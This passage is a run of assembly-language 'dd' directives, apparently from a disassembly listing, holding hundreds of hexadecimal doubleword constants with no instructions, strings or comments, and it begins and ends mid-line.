4BCA51F3h dd 0FC85C101h, 84DB531h, 2D9EAC04h, 11E152F8h, 842C85BDh dd 7AEB01C7h, 0E046020Ah, 0C2F88A60h, 3457503h, 28D54258h dd 39E21BFEh, 2009BB40h, 35557A0Eh, 9795A322h, 0AB99FED9h dd 3D33C82Bh, 0E8D59C0Fh, 0F46E178h, 256F4012h, 3320BB4Dh dd 233FDFh, 0B9E30D24h, 0EA078AE2h, 1BD6D513h, 8B0416B8h dd 0EF585AFEh, 0E082B6D8h, 9E693E74h, 9158737h, 2361B5FCh dd 1675C1BDh, 789FE0A3h, 0FC752CD9h, 624BFD16h, 0E00D6F09h dd 0DF068B1h, 5376C79Ch, 0FE366BD4h, 5C1044ADh, 0A522B00Fh dd 0DED42B6Ch, 0B7A1008Ch, 20E5D647h, 41AAB7D7h, 0D89F0F00h dd 0D4A63E76h, 3210BAE0h, 0C01C3F2Dh, 9590CBF7h, 1564516Dh dd 70909A61h, 60880A1Fh, 40AD982Bh, 0EE058A04h, 258D2961h dd 0FEEDD5FBh, 5E008A7Fh, 90FF107Dh, 0B849E9B0h, 6DF5F9AAh dd 0E7FE122Eh, 6E40B03Dh, 0F37C80h, 18BB8F8Eh, 16DB652h dd 9998516h, 0B1D2A1ADh, 5A257825h, 522BE4B5h, 0F07FB6CAh dd 4BC21D1Fh, 30C58D52h, 74081D3h, 1583BF89h, 0EBF51CD5h dd 0D0B7B48Ah, 4AFE220Bh, 0EAB03412h, 0A829B6E1h, 0F5004EB8h dd 22D4C6CEh, 0B673B750h, 665600E2h, 5FEDDFBBh, 9C8DFC4Bh dd 21F1823Fh, 0A54C6800h, 20245EF1h, 0B956701Fh, 0C7691F18h dd 91166A44h, 0A6B307A4h, 195449EEh, 8D0D17DCh, 9A7EFB85h dd 22FF6428h, 9D710839h, 0C4500DCBh, 0FD58039h, 0CD940070h dd 7DDA899Dh, 639AECB4h, 150BBBA2h, 0E694CF6h, 901A4B45h dd 971B6D73h, 1591B237h, 50097280h, 5B27DC8Ah, 70595B61h dd 3407E978h, 0ACC55E69h, 4B53F8E9h, 9CF8BBAh, 62FDB509h dd 0C06DF575h, 93C15713h, 84C346E9h, 0D2319BEAh, 21E132BAh dd 40C342DDh, 0B5153557h, 95741867h, 0BD2AC4FAh, 0CAC99D15h dd 457371FBh, 0DB9056F5h, 0AAB38407h, 7087E1ABh, 3C52EF30h dd 59C2CCD3h, 19C77D81h, 9E4AE0CFh, 0A5477C79h, 29C155ECh dd 2A321595h, 12016BDCh, 0B71B1DB5h, 48B312EBh, 0C94E78E3h dd 2E8A7FE8h, 57C38101h, 2028EE45h, 379AF968h, 2DDD8295h dd 891C1432h, 5525318Dh, 1516E8B7h, 0B8146161h, 41E49940h dd 0F96B257Bh, 46D62054h, 67491815h, 9C0C59BEh, 652D9DB7h dd 46BD71CEh, 903B01Ah, 19022FA0h, 75257871h, 3C09DF37h dd 25B166BEh, 98648E0Fh, 62A532B4h, 1859FC93h, 2050AB29h dd 1356F54Ch, 71AA0291h, 2B880FECh, 2E00938Ah, 0D54EA313h dd 0D8008652h, 9F5D9B2Dh, 1248B13Ah, 0E2E47179h, 2CB95B3Bh dd 0F30101BCh, 17A159B7h, 177A2D82h, 6AF8A8CCh, 27DE0052h dd 0F65C0569h, 241446D6h, 4D02AA98h, 0D94C46D0h, 6096809Dh dd 58C88B53h, 0EE0FB098h, 7F506178h, 0A7FF5125h, 0CB3999E4h dd 84120016h, 941A6F9h, 0D2DB0F64h, 5AC1F04Ah, 2E8F0F61h dd 96958837h, 0D96D64FFh, 2EDA7FC9h, 0C9C018C8h, 4B201DC5h dd 4F3F8A75h, 9B4B07A9h, 8B0496B6h, 0CDFF0CCDh, 83827A11h dd 0B650042Eh, 0E5E30B44h, 351CF56Bh, 0FC0E49Fh, 0A437AFE6h dd 2D6A7C60h, 0D84BADA5h, 0D6BB5400h, 95346404h, 0B7AD455Ch dd 9462016Fh, 912DF337h, 0E85EC9B2h, 7E13AB69h, 8079EC28h dd 2C4FF843h, 0D47C001Ah, 41789750h, 1A98F0EBh, 0EE3AE70Bh dd 0E3A8801Fh, 4B9BF455h, 6C598D70h, 90D31421h, 0C4318E4Eh dd 74AB0FA9h, 0E0BAE63Fh, 3EC110FFh, 0EC89399Ch, 85F0533h dd 0DC60DD29h, 3B0ACF28h, 780019B3h, 5FA7D3CCh, 909AD6AFh dd 38AA054Eh, 45C13668h, 0E698529h, 943752Eh, 0F0C1A977h dd 3AA72BC6h, 205CFCA1h, 94B43D2h, 9A5A458Fh, 0F54B80B8h dd 5E1A3CB9h, 8253B88Bh, 0F5F42DE9h, 3F4049CFh, 25BC5CC7h dd 0B0DEC18Bh, 0ABC701DCh, 15EEF1A1h, 0F5FFE8B8h, 0E408BF04h dd 0A9BA2A25h, 3C39A9A1h, 0C7B34787h, 0F2BE3061h, 0F54F9FA3h dd 0B728D6FCh, 0B73175ECh, 9ADD00ABh, 76C65F8Fh, 28BEA900h dd 216343D1h, 0CE3801AFh, 71739193h, 0C9A1D4DEh, 5F6293B4h dd 1DB7776Ah, 0CDCB5786h, 57EB33Ch, 0BF45BD23h, 2C2DC621h dd 17900E04h, 197419C9h, 0B27200DEh, 9E9C7087h, 1B0497B9h dd 165DB529h, 0A5C244FBh, 2CDAA23h, 0FD8A8F10h, 34B73B50h dd 80EBDB5Fh, 0BFCA476Bh, 60281A58h, 7C83462Bh, 0D092A5Ah dd 0D5A0FABBh, 25213B6Ch, 7E41C816h, 8C1B2C00h, 0E31913BFh dd 0D1FF2F53h, 6BE013CDh, 314B2B1Fh, 0F61B07E9h, 0AFC6EC85h dd 9819717h, 0A8DF12BEh, 2271E273h, 4462026Ah, 908FC95Dh dd 54007073h, 7899A551h, 0FE000463h, 2A6C97B4h, 143CD946h dd 0C9DA6EBAh, 1DD99021h, 95003918h, 0E103567Ah, 5A520782h dd 0B249A610h, 70853114h, 2340ADE4h, 105D25E9h, 2192C065h dd 0F3A66412h, 996040F0h, 0F8922D02h, 0DF0D8D29h, 9784104Ah dd 0BB52000Ch, 5B15444Eh, 81E08759h, 6A5FA6D2h, 1BB217B6h dd 8D01E1EEh, 1943A707h, 0ECEAF04Ch, 42B32F90h, 16D88B7Bh dd 0A4230F3h, 29CC18B2h, 154A4FB0h, 1894C7B2h, 0D04474C0h dd 9C5B7216h, 78CE5EE8h, 0D1ED2C41h, 0F3252B2Eh, 35E8B7F9h dd 0D7A5EF0Fh, 7FB8E01Ch, 4F66B351h, 4F94F35Fh, 0DD2A80E1h dd 0DFB31A05h, 7CF378C0h, 4B2C9F7Fh, 65FB00Ah, 7C76569Dh dd 7B94309Dh, 3C93767Eh, 578B2C6Ch, 538291CAh, 6CFD2111h dd 2B8C004Dh, 0EF1BAD26h, 6002C9ABh, 1F3D7688h, 1024FE8Dh dd 0CC5B2530h, 1AA203Fh, 31B9E083h, 2E8BC1B0h, 0C62EEFDh dd 0E6021FF5h, 92927D70h, 80EC715Dh, 6AFBC1A9h, 0A302E132h dd 0A58629D4h, 23B6608h, 27EF4776h, 6AC0B34Ah, 909771E4h dd 12C956E1h, 0E4DF7865h, 9BD15D72h, 0CC870139h, 0C41E5F50h dd 4C7D287Eh, 0C71D4217h, 822CDBB0h, 0C8B6F602h, 1512F174h dd 205F91E6h, 0C6F6C57Ch dd 0BB374C03h, 0A00A472Bh, 456677Ch, 0A69BD5BFh, 12A0B869h dd 2ECD820Fh, 1427FB2Ah, 0BB645779h, 0C2F8E00Bh, 13EA005Fh dd 92085FDh, 0C8B8270Dh, 0BB2EB970h, 68A52E33h, 0FE2BDEA1h dd 0EE810260h, 6D7437B0h, 0E50798DFh, 0A1200109h, 270C4F58h dd 91EFD881h, 5A839700h, 4496BF61h, 8B4B163Ch, 9D9204D1h dd 0B5E9062Ah, 25297A45h, 0BFC42375h, 4947551Dh, 8466DF8Dh dd 0D8BE142Bh, 9A6E7AC0h, 0A3719605h, 0DC5F5E00h, 0F333B286h dd 0D8381AC9h, 82DF349Fh, 0D5053985h, 24B4C11Bh, 401689ABh dd 0E9A35137h, 0E4C86A4Bh, 0B5A87DE3h, 0D997A25Bh, 72CCC8C8h dd 719903FEh, 6A6E404h, 8AF3B894h, 0F7842644h, 0DCAACE69h dd 0E458642h, 0BF80BA38h, 0AD58DF9Ch, 1CEB4D0Bh, 8B740818h dd 413F949h, 0AEEEF56Eh, 0D3C083B9h, 61978FDAh, 0E0623C12h dd 920B12F6h, 0D318ABh, 68C86979h, 165B3957h, 0D9EFC72Fh dd 0B4AAC541h, 829C7B51h, 32E81BE1h, 7963205Bh, 561AE52Dh dd 1A52DEF9h, 25F65E38h, 2D3AF82Ch, 0B9587276h, 0B42FD5Bh dd 4368F549h, 0B79FFCE1h, 0D969006Eh, 765B778Dh, 7336FE09h dd 99442Ch, 99C157DEh, 1A3EF8DCh, 24494600h, 0CDEAAF03h dd 0B5E001A3h, 5FFACF80h, 0C32520FCh, 5B9D6A75h, 8553F84Eh dd 140C82A1h, 0C258E8ABh, 55200DB5h, 0B5276F79h, 20710000h dd 583DD979h, 56B3FB13h, 3E6F21AFh, 0C685E436h, 0AA289100h dd 0B9E1E59h, 2D087CECh, 0C45C5417h, 0DAEB5B65h, 13A548B9h dd 60FE10E5h, 6CA74A5Ah, 4D3C1A04h, 348C0724h, 0EF59031Dh dd 6A80AFF9h, 53885FDBh, 0EBBD8D89h, 880DC998h, 0B3DAB73Ah dd 89E8E20Ch, 0E9BAD539h, 0DB667Dh, 0ADC4B5F4h, 2F4EDD01h dd 0A02A9E00h, 0BCEE264Ah, 845F50B0h, 0E6035EADh, 301DF2E6h dd 7F00C1C5h, 0FD977B4Ah, 0B09874E1h, 221525C7h, 3CACE7E5h dd 272900D6h, 6416BA94h, 0E59512EEh, 4C73E95Fh, 0F3F01D51h dd 39351396h, 8084DB4Ah, 4F2AA7B8h, 13D9EACEh, 0A2F86DEEh dd 0A5888816h, 1A4A36F8h, 0F85B80F6h, 0E7E3E17Bh, 32B307Bh dd 619A959Dh, 70F75B4Ah, 0D6A8E35Dh, 0C9CD0803h, 8A953102h dd 73F15510h, 0A08B8380h, 25510AE5h, 0B7FFE1FFh, 7DF00070h dd 6D9072C2h, 7D0EFC4Dh, 0A5B8065Ah, 6F5F76E2h, 0A6DD605Ch dd 8EA073EDh, 0BFBEE2CCh, 5EAC6952h, 0AB93335Eh, 0EB07C6D9h dd 0BB070CD4h, 1855A20Ah, 0ED51A374h, 1C5BD2h, 5FB824F0h dd 0C37731B6h, 88D96A00h, 0CE791F89h, 0AAFE2782h, 0E6A180C6h dd 60AC34C5h, 6F782E9Bh, 85F94EF6h, 3F6EEA98h, 2F41200h dd 0E8D2D5CEh, 457A0084h, 7B17609Eh, 6F000E22h, 15EBE437h dd 1266DC33h, 0AE9646BFh, 6EAAB253h, 954F04C4h, 0CCF15330h dd 1C73D82Bh, 23359786h, 6E32F903h, 8C9BAB22h, 0F5C0D0B8h dd 0BABBCB81h, 4613C027h, 9BDBECFh, 0A1D26C2Dh, 0AB9FBF05h dd 3EE144E9h, 0A68F0Ch, 546308BCh, 1845A1Fh, 9DD85600h dd 53197F26h, 0F37EE35Bh, 0CF872CC7h, 0C075CDCBh, 9D2BD191h dd 4D7D2BFh, 2A77068h, 0EC5B872h, 0F41DA48Fh, 7E4F25CEh dd 0EBAD1237h, 8501167Bh, 89377A5Ch, 6A79219Ch, 8EB1BB27h dd 0E62A1B53h, 301BB2D3h, 93026FEAh, 62B4CB20h, 40E874E8h dd 81DEEF68h, 0E5033A00h, 61F1EA4Bh, 0B6780B56h, 0E9724054h dd 0D2CEE925h, 5D851043h, 0D7F8A20Fh, 0E18DA230h, 0B9961F42h dd 45FB852h, 7428EBD9h, 5B18E9F1h, 0BF92FB9Eh, 1448FAA2h dd 0F8EEBF02h, 3274227Fh, 3CB5EBh, 4D96D75Fh, 13047666h dd 89A279CBh, 0EBCEC5ABh, 60973DDAh, 856741DFh, 8620964Eh dd 7BD13114h, 30F7120Ah, 0A32DAE05h, 0FCD69E2Ch, 0B87CA0DBh dd 82310047h, 65C5A137h, 5F2D516Ch, 955B505Bh, 1664FDCDh dd 0BBB2267h, 5300B0F8h, 8CFC683Ch, 380F648Dh, 604E2B82h dd 0CFA322F0h, 69075F1Ch, 0D0DCF1C0h, 202A23Eh, 8BD844BCh dd 0DB7187A7h, 609F2300h, 0FF9BD0Eh, 50667F4Dh, 5BC19CE2h dd 8F03DA48h, 6D64922Dh, 87AC14Fh, 0B73030C1h, 0A58CDB4Eh dd 2EBE0560h, 0C13F09A5h, 81DE2h, 0EFB75061h, 25014C34h dd 7C4259BDh, 910835D7h, 20EE931Ch, 79B36AA6h, 67B07A4Eh dd 0F87BC911h, 3F851C57h, 0CA4B52BFh, 533D2777h, 40B6D828h dd 0B958004h, 4FA8F5Dh, 0BB2EE958h, 0B73CDCh, 0D235D49Fh dd 0CE661514h, 40B4B10Fh, 6BAE529Eh, 3017E26Bh, 9E2E3C1Dh dd 0F90977D9h, 0F402742Ch, 416B5E00h, 0BC78AC94h, 0EB80131Ah dd 8592A21Fh, 0D5F904EDh, 0E7DC0E80h, 0FC4C3227h, 4EFD38CBh dd 0CF1050CEh, 0D6B65A04h, 267DBD08h, 6046CD72h, 964B61ACh dd 859D8909h, 0AF8AD30Bh, 0A9C4C58h, 0D6A65C2Fh, 735AB19Dh dd 0FE80DC3Ch, 53C9BC9Dh, 24337D0Fh, 1340FDDDh, 566DF238h dd 4F950A1Ch, 1B855003h, 0FAE53704h, 34897581h, 286F7Eh dd 877BDAD7h, 12766C23h, 0AABD03C9h, 0CD4E7ACAh, 27BE6889h dd 0A0DF4E04h, 0AA3B5FE4h, 5DFB5D9Ah, 169F8AD0h, 0B937C041h dd 77A9D3DCh, 26AC2AA9h, 2BCBF5D2h, 8B6EAFh, 0A49C36F1h dd 1421FFE7h, 880C2833h, 0AE0A7D13h, 17230D6Fh, 15C77E00h dd 2D950137h, 0B8591961h, 0CDF6E225h, 0F6CEE0E4h, 0EA0790F9h dd 249CBB48h, 16B1537Eh, 5325C096h, 0C19AAB02h, 43289893h dd 89EFF3BDh, 0EE02526Dh, 0D5090581h, 161113B7h, 0BE968684h dd 813C1FA1h, 4C504B1Ah, 50E345F7h, 54C2FFF4h, 0DC6179EFh dd 90114085h, 2A04BF32h, 5BA2CB80h, 0C8379AEBh, 0BBB3C01Ah dd 150077A7h, 8B961967h, 946050D9h, 0E0FF4782h, 717C0D5Fh dd 67F5B103h, 0E064AD39h, 571484h, 3665B966h, 61B5B25Fh dd 0BC25965Dh, 0BEC7FE7h, 0E6E38084h, 77BD89A2h, 0D45EA8ABh dd 53EF0CF6h, 401508E9h, 52E8700h, 36C52822h, 0A5B51389h dd 4E74B725h, 0F912EDA8h, 80DBAD31h, 0DAA6F02Fh, 7379B5E4h dd 0F4BD9E64h, 0F7F03AEDh, 0BFBD0026h, 3E97CD95h, 53B66096h dd 0D918CA43h, 24F00C70h, 0FD1E0016h, 5C755762h, 60EA718Ah dd 50596102h, 5548B352h, 60C12FD9h, 11D5BA66h, 7A2E892Ah dd 6C81A7B3h, 455F2FB7h, 14686FEDh, 0D3A0B778h, 0FBE125BFh dd 778C040Bh, 0FAFC0818h, 549CD1BDh, 0DC85E11Fh, 30EBF412h dd 918D0187h, 3CEF0E52h, 9C26A095h, 0A7132EB8h, 44957D46h dd 5E0F0FB1h, 0BBE52193h, 0F3C2BF13h, 6A5F0519h, 9152359h dd 7A01C759h, 3B8E92DFh, 0D952A732h, 0C47F00CEh, 1E8E65AFh dd 7B019998h, 886E188Bh, 0C5440D04h, 0C95FF3BAh, 5B568751h dd 12DD9DE1h, 0F4E7F66Ah, 45DEC9Ch, 624A14B9h, 11D8EC2Eh dd 27000AE9h, 0B91FC9E0h, 530EE8E6h, 12C65C12h, 0B7BCFDBDh dd 4CBCA14Eh, 2EC308E5h, 5DD7E909h, 0BF1F3C50h, 0C1D42FA1h dd 377D37FDh, 3D64C25Eh, 0DECED419h, 0F58D1616h, 0B5162913h dd 4BE8FBBDh, 0D2DC6B02h, 9805A595h, 0D1BB9Ch, 26FA9C6Ch dd 3F5E839Eh, 806F9C8h, 19226230h, 53CAC900h, 0AEA27274h dd 0F8B904A9h, 0B30FE280h, 0DF2D6978h, 2A801537h, 0BFEF6F76h dd 0A3E01441h, 0C22DB105h, 35081FD6h, 5A852815h, 0BD54D1ADh dd 17AD3395h, 50A72361h, 0AF291FA0h, 19CCF064h, 0B65F17BCh dd 0EBC000BCh, 7F3EACF4h, 0FE583F99h, 0A2BF2500h, 0C616077Ah dd 0B4AAA000h, 1E922D3Bh, 0B5290049h, 0C08DB93h, 840136D6h dd 8748DD67h, 22D07EA8h, 5DA20063h, 23F033E5h, 0EE007928h dd 1AD5F3B4h, 0BE16036h dd 22020B69h, 1D6E6D80h, 2C0064B8h, 1A06869Fh, 0ACF9A6h dd 5FC1BB7Fh, 4D19FC27h, 0A7E4C860h, 70A464h, 1873969Bh dd 10F3741Ch, 195ABC1Eh, 0A3FF0F7Dh, 5C442712h, 7C012850h dd 0DCE830DAh, 0BC60A554h, 8B3BC971h, 3E6680F3h, 3AED31B6h dd 1FE97115h, 6A18EC3h, 182CBAD8h, 8A145F3Ah, 0D61EC534h dd 0EB733C00h, 2618E2AFh, 302897BBh, 2870A810h, 5C010703h dd 3009B3CFh, 0C8219409h, 0FE002868h, 0C9702C10h, 1EF4979h dd 9A9D4FD3h, 871E9CD5h, 81188828h, 0E806D847h, 7CB0011h dd 0F362704Bh, 6A661CACh, 7521FF09h, 484B01ABh, 0F535B08Bh dd 98C880E2h, 17E9CF38h, 9C5C305Eh, 6D8819D0h, 38B20330h dd 0D5CFEBh, 0E438B6DBh, 0CC30EF3Ch, 21C808CCh, 0DBDD0FF4h dd 70072EAh, 0AD77426Dh, 0B0D28A31h, 84407161h, 50E14414h dd 0C5039029h, 7EA3BAh, 0F13A64F5h, 0E80F278Bh, 0A081B0BDh dd 3BCD97DCh, 5B2B005Fh, 314C4B6Bh, 27004E86h, 0BDE70DAFh dd 88C68Dh, 0EA668A50h, 1A56B476h, 0FB184200h, 68B0717Bh dd 6C4D00B3h, 0D5D4523h, 0C000B35h, 7241238h, 4839FDh dd 526D374Bh, 2D7F09D6h, 0ABB94700h, 9FD9C713h, 59100B1h dd 0E49CDF55h, 4700DCD3h, 29511AB0h, 1ED6079Eh, 0C06BC7C4h dd 8CCF6C71h, 0A438E6A0h, 42AA0023h, 37A9F96Dh, 562D0047h dd 308B571h, 0ED000A8Bh, 0F7B6EE73h, 0BFEC7Bh, 9C0287C9h dd 3C037C8h, 907468E6h, 0B53A4478h, 15FD009Ah, 964B22CAh dd 53FC00D0h, 26D954F5h, 19C05245h, 1002DF7Eh, 3C5E7C14h dd 84147A60h, 0BA06F0A1h, 2839FA5Dh, 0BC55030Ch, 162D61B9h dd 0EA662486h, 15B48003h, 9640A811h, 0CC4500D3h, 3D2812FDh dd 30C3D489h, 215F9990h, 0D700E128h, 23ECA2BCh, 2CE0063Dh dd 78CF8CAFh, 0FC503206h, 86D160D8h, 697C311Ch, 9CE07719h dd 0A864FC0h, 4298875Eh, 2526063Ah, 1AC02FFAh, 21339880h dd 0A1115C15h, 13D1D600h, 8DEAD4E1h, 5CAE2B01h, 5A1A506Ah dd 4032080h, 44EC107Eh, 153639h, 0F09F2645h, 181DB293h dd 0B15173FBh, 7900626Ah, 0F38AB72Dh, 74EE27D1h, 0E3F90CD3h dd 73515268h, 2E313A67h, 25D9BD61h, 0DDFCF0h, 452C9F2Bh dd 0EC3B9382h, 0F8E87E0Ch, 883D7884h, 85019B78h, 0F0E3CCFAh dd 0A0410752h, 7E10135Dh, 0D0507CD7h, 0C500DF98h, 0CBBF3EF0h dd 109B3Ch, 75DF292h, 3B9D8068h, 0DFFCE90Ch, 0E4B47929h dd 240450C6h, 6F52889Bh, 3C738000h, 0B0E43B2Bh, 5C8E2825h dd 0D0A501BCh, 86A15FFFh, 585BD484h, 7E143615h, 8FDA04A0h dd 3888BAB0h, 112142FEh, 0A3CD5BBh, 930FEF0Ch, 0CE18B011h dd 389A8499h, 0C711333Bh, 2100A608h, 6199D6D5h, 0DBBC2Ah dd 0F563A719h, 551AE631h, 0F8EFB4A9h, 130051A8h, 87CF16Fh dd 1A2B6DEh, 0C9E50247h, 83926273h, 0BE455050h, 93983E27h dd 1DD0472Ah, 920E4Ah, 5174D5D4h, 340F406Eh, 4084F44Fh dd 69F6875Dh, 2097031Ch, 0BC648FF2h, 9136E803h, 232538BFh dd 0CC05EDD8h, 0B2848699h, 20B96C22h, 6099D4D7h, 31A4070Fh dd 553661AAh, 218396B6h, 40DB8629h, 91EC05F8h, 7C486090h dd 0FD578728h, 0CB0E7E1h, 66B858CCh, 213F08D4h, 40E57C00h dd 0F499DE67h, 50BA0006h, 56B8FEDFh, 0B23E4EABh, 87448EA8h dd 90401288h, 0F8FAECE3h, 5B180C7Ah, 8098294h, 14C321C0h dd 0F2FE17FAh, 1BC100D4h, 6CAF7748h, 2B199D42h, 0D0A840BBh dd 0E1F6FB18h, 11FCB023h, 0E37A004Eh, 0DBEC6F40h, 38E404A3h dd 973AEE5Dh, 1727A038h, 0B00AFBC1h, 0C303645h, 2CC66004h dd 20822C82h, 0B04678F6h, 3FCE2D13h, 309B1447h, 0B49F68C0h dd 73EA2410h, 5BA63CB0h, 8C448A64h, 0FAE7C080h, 0F0467AFDh dd 0C6021722h, 1AECFAEFh, 7F3C4854h, 41FB012Ah, 9BD34FB4h dd 94EFEC6Dh, 59023B02h, 91BD55D9h, 1FD4C9E8h, 78D1803Ah dd 2A04914Ch, 0B20D843Dh, 0B8338E45h, 25E09CC1h, 6424506Ah dd 4630903Ch, 99C802E9h, 31CF2982h, 0D0D310A7h, 62E90099h dd 0D9B83C88h, 7A261193h, 0EA1A042Bh, 0D4D80479h, 0E540FF60h dd 111CB023h, 827E3D4Ch, 898DA640h, 658CA0F8h, 3ACEDA4h dd 522A28Fh, 88AA3C0Bh, 78B69C90h, 0B1116839h, 0A5FD1A66h dd 29D8F261h, 0C48705A9h, 84CA24AEh, 5BAC40ADh, 0ACB61BD7h dd 0C878101h, 0C883A39Dh, 4C19B4ECh, 8840ECBEh, 0CB048C14h dd 0C7297F99h, 0D020B862h, 3999D3h, 0F48BAAA8h, 0EC334A2Bh dd 50FAC532h, 0A1044458h, 0E6188D0Ch, 7AFEFA08h, 0EEC570C8h dd 2C72FA00h, 0C704E67Bh, 0E07D4878h, 246C2310h, 0F5748CFBh dd 8000E518h, 74C43B59h, 58FE6E2Dh, 84407877h, 23C030E8h dd 0C9D9B7B8h, 0DFF09102h, 6817B124h, 7342E4h, 9404C139h dd 584413EFh, 35057001h, 0C3F6ECD7h, 7E2D4083h, 583D7AFFh dd 1A138031h, 78342A5Fh, 635CAD84h, 0BBE8CCFDh, 2B09307Eh dd 21526F6Eh, 0F988FA7Ch, 56019C57h, 69E41BC5h, 104301FBh dd 2847362Eh, 48A4D9E1h, 9A0020DCh, 752A4F0Fh, 1A1E040h dd 0B07A8630h, 0D4672FF4h, 117E54C0h, 0BC99AB2Ch, 63003391h dd 0EE078D98h, 0DE775E83h, 938EFD3Dh, 38545052h, 184420BCh dd 3937D6FCh, 13608998h, 36E850A9h, 0D2EC0F40h, 8CA0D309h dd 0F8BA16FCh, 0A2944200h, 7A934BD1h, 805C59AFh, 2082B800h dd 6DE3B2CEh, 3D9A938h, 0E629DB02h, 0AF9AF0D7h, 361CF7Fh dd 21AF980h, 98A09E1Fh, 0EA813DFFh, 0E2DAC30h, 82933BD5h dd 0E4DCDDE0h, 0E8B8B0FAh, 0D805340h, 0FC883B7Ch, 4D98E751h dd 0F006585h, 0B74979A3h, 0C690C7Eh, 0FB896286h, 0A403A229h dd 0ADCF2042h, 98CD83DBh, 0B88DD01Fh, 86AF1740h, 2C4400D4h dd 4E2A71E9h, 757613Ah, 0C963095Bh, 0A6DCEED0h, 84050E7Eh dd 6C8C7F6Eh, 0B13B9821h, 0DA40019Fh, 739D15Ch, 9E3DB0FFh dd 0C4B8015Dh, 0FBFA5AA4h, 330802Fh, 0A140428Bh, 25560605h dd 81EAD57h, 6A217460h, 0BE404Ah, 7E77646Ch, 5262ACD9h dd 171271C0h, 0B68E3Eh, 94D02F3Ch, 0C94EDF16h, 38F7A1Ch dd 8091BE41h, 35CC4DC5h, 0EF2A005Dh, 17DF9332h, 2F30CC49h dd 0DD02685Fh, 0A86160C2h, 0AC54E5BEh, 2B023376h, 0AFABE8CFh dd 1FFE3A5h, 73870920h, 4ECBF04Bh, 0AF651120h, 0C2C1AD80h dd 8A00FE39h, 82F1E6D2h, 0C09BFC24h, 0BA8F69E9h, 2D03B656h dd 80BB3F9Fh, 0FF4EB82Eh, 0EACF0062h, 0A014DC8Bh, 0BF007116h dd 3E31469Dh, 30245EE2h, 0A589CAD7h, 0B0ACF35Ah, 15DD454Ch dd 88B0EE05h, 4CC1809Eh, 169B1840h, 2B7CAE98h, 0E9D79101h dd 80672895h, 8E6031E3h, 0E371DC31h, 633D2903h, 0A76DFCC4h dd 0FDA482C0h, 84503CBh, 62426B1Eh, 7D0189EEh, 0E8386107h dd 0C44736F5h, 32C5A50h, 7494002Dh, 0E4DD1913h, 1FFC738Dh dd 117268CEh, 0EFA22900h, 8EA08247h, 988A5F19h, 21803C08h dd 88EFAAC0h, 200946DDh, 27E5E9Bh, 41143406h, 4318F938h dd 5AC400Ah, 6B70881Eh, 0BB400E4Bh, 70F1DB9Bh, 5849E818h dd 0A09A01B8h, 0A45A3488h, 1EF646B8h, 5DE4046h, 77511E3h dd 9D404E6Eh, 67DE228Fh, 0E556C062h, 60916055h, 4C8A3916h dd 63CB33Ah, 0CBDE9BFFh, 0D5823F89h, 5097EA0h, 55E20Dh dd 9284E338h, 5907025Eh, 5A71DF9Bh, 0A4049042h, 0EFA560B1h dd 88822344h, 0C3002811h, 6923EFADh, 1E002A41h, 0DABCDFDDh dd 3CA08473h, 0CA0451D9h dd 949F868Bh, 4A1082C0h, 0F2F8B531h, 22C646DCh, 0DD440167h dd 5DD2EB9Fh, 0EB43EDD9h, 9283F680h, 53615805h, 94043501h dd 3488722Bh, 0CF051F1Eh, 36970028h, 5C394DADh, 82F63201h dd 0D264DA22h, 111A092h, 0D824B0F0h, 0FAB85084h, 93246246h dd 0D240442Ch, 0D2A044Bh, 83FCC35Ah, 1C92F429h, 28164E00h dd 4B01D010h, 806E0013h, 14D968DAh, 601EE78h, 0AD09F05Ah dd 0A9805F22h, 0C81AEB7Bh, 370C1511h, 8C5DA2Eh, 1D21C380h dd 0C09C1AF3h, 7569839Dh, 245FC224h, 359AE42h, 31B20E84h dd 700E88Ah, 0E80725A0h, 0F4405211h, 0E57D3A43h, 0B9053C01h dd 0B1DA669Eh, 811430F8h, 80590024h, 15F094E9h, 30F20944h dd 6F19CFCh, 0DA00635Fh, 32D3CD60h, 4CAF0A82h, 0C101B626h dd 0EAA8D1C9h, 32EAB97Dh, 29FE88A4h, 732C8582h, 546FB484h dd 1F72384h, 5A24041h, 8877184Eh, 13B0496Dh, 7DD15350h dd 9BCAA601h, 268DE951h, 263D3C30h, 12408C8Ah, 940C0849h dd 15861282h, 0FCF06064h, 0ABA0A8CCh, 0C67C2868h, 850A02ECh dd 399AA505h, 0DBDDC868h, 0B03CEC24h, 31795B03h, 31299BD1h dd 0AE60DE68h, 0A2F1139Bh, 0C8F0B393h, 4611B21Ah, 588322C5h dd 0FE00E31Bh, 0A95EB435h, 0BD31BE17h, 5283A02Eh, 228D9452h dd 4F40D3ABh, 100C5D92h, 498E0156h, 23080AA4h, 9B0EE27h dd 10024883h, 0D2005A3Ch, 7998DFE9h, 5D1B80DBh, 5ACE58C4h dd 7B6AE24Eh, 0CEF11D4h, 3044D2E3h, 6487198Ch, 52577026h dd 0EF30A974h, 11B4111Ah, 808188F5h, 0F41AF719h, 5790A223h dd 0FCFA2709h, 91849F0Ch, 96A28173h, 3420120Eh, 2A32E6BFh dd 0AD505AD2h, 25AC60B4h, 0B90042D0h, 0AABD1BD4h, 61F1AD68h dd 6ADB7986h, 648CC8BAh, 36029700h, 256C428Fh, 0A846861Fh dd 0C91AEE02h, 8E311D11h, 1AF61E10h, 0E9B53403h, 0A5C0756h dd 4829419h, 84003CC4h, 0DEB723EDh, 24183993h, 4918083h dd 1C625D0Dh, 0BEDCD124h, 4A1A0C01h, 8082FBE9h, 932D5429h dd 1D9A2789h, 0F022385Ah, 0D95F8B69h, 0DD0AEC77h, 0FC44CB1Bh dd 80B9398Fh, 72B4A1EFh, 4E163A69h, 3826E00h, 0C2F519D0h dd 0A3806C01h, 0E3A0A820h, 582DD8C0h, 67003082h, 2CF14AD4h dd 13000C2Ah, 584CDF42h, 0C93EDC5h, 0CC9FD1D5h, 0BE3E1640h dd 38100D2h, 62DF5B32h, 0FE3F005Dh, 0BBD57DF1h, 0A00194BDh dd 9BA37317h, 50240113h, 9D209F9h, 0C405386Dh, 0D1848142h dd 9B870136h, 88DB8020h, 0B6240504h, 0CD86E849h, 2285595h dd 1DDE45EBh, 74C4A37Dh, 18F57C98h, 45EF08A0h, 33C47082h dd 0EFA8C640h, 580C6A35h, 193E179Bh, 0C85C5462h, 65E034h dd 2D5D16Fh, 172006FBh, 2A954E12h, 0AA43F400h, 7CD2F7B8h dd 99B618EAh, 0E9DA1875h, 0A459A92Eh, 4E5C1689h, 9C754124h dd 0A42CA238h, 0EDDD8287h, 0E19E05Ch, 70CBAA05h, 0B72734C1h dd 0C8682942h, 0E720213Ch, 90C818C7h, 0AB87DB11h, 9882C2EFh dd 0C9112E31h, 0BE0E3093h, 0AE250C00h, 47116051h, 3509E48Dh dd 8E024F5h, 